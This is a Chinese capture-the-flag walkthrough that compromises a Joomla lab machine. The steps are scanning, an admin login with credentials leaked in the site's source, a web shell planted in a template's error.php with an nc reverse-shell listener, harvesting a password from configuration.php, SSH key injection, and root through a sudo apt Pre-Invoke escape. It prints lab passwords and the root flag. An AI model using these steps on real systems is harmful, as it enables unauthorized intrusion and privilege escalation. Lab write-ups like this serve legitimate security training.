nmap扫描端口:
nmap 192.168.0.19 -p-
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F05%2FTjpPr6.png?table=block&id=61adaafe-3b7b-4703-bd8b-ebabcc8c1be2&cache=v2)
开放80端口和22端口
web浏览器打开80端口:
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F05%2FTjppx1.png?table=block&id=41c6b1f2-6142-4657-8767-b97cdc81341b&cache=v2)
Apache服务的默认页面
web扫描器识别到是joomla框架:
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F05%2FTjpkVO.png?table=block&id=c83fb438-2e3a-45cc-801f-c7726185c0e4&cache=v2)
gobuster扫描joomla后台路径:
gobuster.exe dir -u http://192.168.0.19/joomla/ -w dir.txt
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F05%2FTjpZPH.png?table=block&id=33476a9a-d150-4196-861d-f5e35b7a07d1&cache=v2)
后台路径是joomla/administrator/index.php
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F05%2FTjpeGd.png?table=block&id=3b3315c8-dcbc-48c5-8311-bec887b6d6b1&cache=v2)
登录名和密码在/test/password文件的源码中:
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F05%2FTjpS2R.png?table=block&id=05b89a6c-9bae-4d07-bc3f-fe47eae0af9b&cache=v2)
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F05%2FTjSxPJ.png?table=block&id=7d7f0dc6-5026-4fef-bd13-33ba28040f60&cache=v2)
管理员是admin,密码是3iqtzi4RhkWANcu@$pa$$
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F05%2FTjpnxI.png?table=block&id=2555f64a-c3d4-4aef-b303-55ff7fd23093&cache=v2)
管理员登录ok
编辑模板文件上传shell:
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F05%2FTjpds0.png?table=block&id=4663ab9e-8cd3-4978-aa65-e7d42913edec&cache=v2)
编辑完模板文件然后要点击copy template,取个名字就可以保存成功了。
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F05%2FTjpDdU.png?table=block&id=c7e4cf46-a643-43ea-a999-71c167093f81&cache=v2)
在error.php中插入shell,这样访问出现错误时,就会自动访问到error.php文件,就可以反弹。
提权:
nc监听端口:
nc.exe -lvvp 1234
访问错误地址反弹nc:
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F05%2FTjproF.png?table=block&id=843893ca-0196-4ef9-9e14-c58704a44ab2&cache=v2)
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F05%2FTjpyi4.png?table=block&id=4871ec90-2ea9-4d16-900d-43f31862feb8&cache=v2)
反弹成功
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F05%2FTjp6JJ.png?table=block&id=fdb22e01-2efc-4c44-add8-1d4fbd4b3c86&cache=v2)
登录用户是www-data。存在另外两个用户一个是shenron,另一个用户是jenny。
在/var/www/html/joomla/configuration.php存在jenny的密码:
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F05%2FTjerGV.png?table=block&id=9f3c99c2-1534-42a0-a727-964316f7d97a&cache=v2)
jenny的密码是Mypa$$wordi$notharD@123
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F05%2FTjpWsx.png?table=block&id=8cb17da1-2253-4a22-a74b-024fdd0a357d&cache=v2)
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F05%2FTjm1eJ.png?table=block&id=aad7efc8-50d0-420d-b0e1-427da2e789c4&cache=v2)
通过把ssh公钥写入jenny目录下的.ssh文件夹下的authorized_keys中,就可以用私钥登录到jenny。
cd .ssh echo __public key__ >> authorized_keys echo ssh-rsa "生成的公钥串" >> authorized_keys
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F05%2FTjuSKS.png?table=block&id=cbe7683e-92f3-4980-8453-c6bfedab11ae&cache=v2)
使用公钥文件登录
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F05%2FTjubsU.png?table=block&id=ee5f8c86-830f-4195-83f8-1352108b81ae&cache=v2)
jenny登录成功,sudo -l 查看提权命令,jenny可以使用shenron的身份使用cp命令
使用shenron的cp命令替换.ssh文件夹下的authorized_keys,替换成jenny的公钥,这样就可以用jenny的私钥登录到shenron用户。
cp /home/jenny/.ssh/authorized_keys /tmp/ #复制jenny的authorized_keys文件到/tmp/两个用户都可以读取 sudo -u shenron cp /tmp/authorized_keys /home/shenron/.ssh/
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F05%2FTjMe74.png?table=block&id=73474bff-5d41-4908-a495-c8f9881038e8&cache=v2)
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F05%2FTjQ9bD.png?table=block&id=0dbf08b3-1baa-4c1a-8667-c8ed71419bd3&cache=v2)
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F05%2FTjMfCn.png?table=block&id=2588057d-25e3-4172-b916-4844423d82ea&cache=v2)
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F05%2FTjQE8I.png?table=block&id=d9cbc263-dbbe-47d7-81cc-cc44ef1d94f2&cache=v2)
shenron用户的密码在/var/opt/password.txt
sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh #使用apt命令提权
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F05%2FTjQmKf.png?table=block&id=a71917ce-f9cd-42d7-9cfd-9997a286aea9&cache=v2)
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F05%2FTjQl5j.png?table=block&id=6a0069f6-7668-4a6f-837a-950cf462a4b5&cache=v2)
Your Root Flag Is Here :- aa087b2d466cd593622798c8e972bffb
下载地址:
ctf提权辅助工具: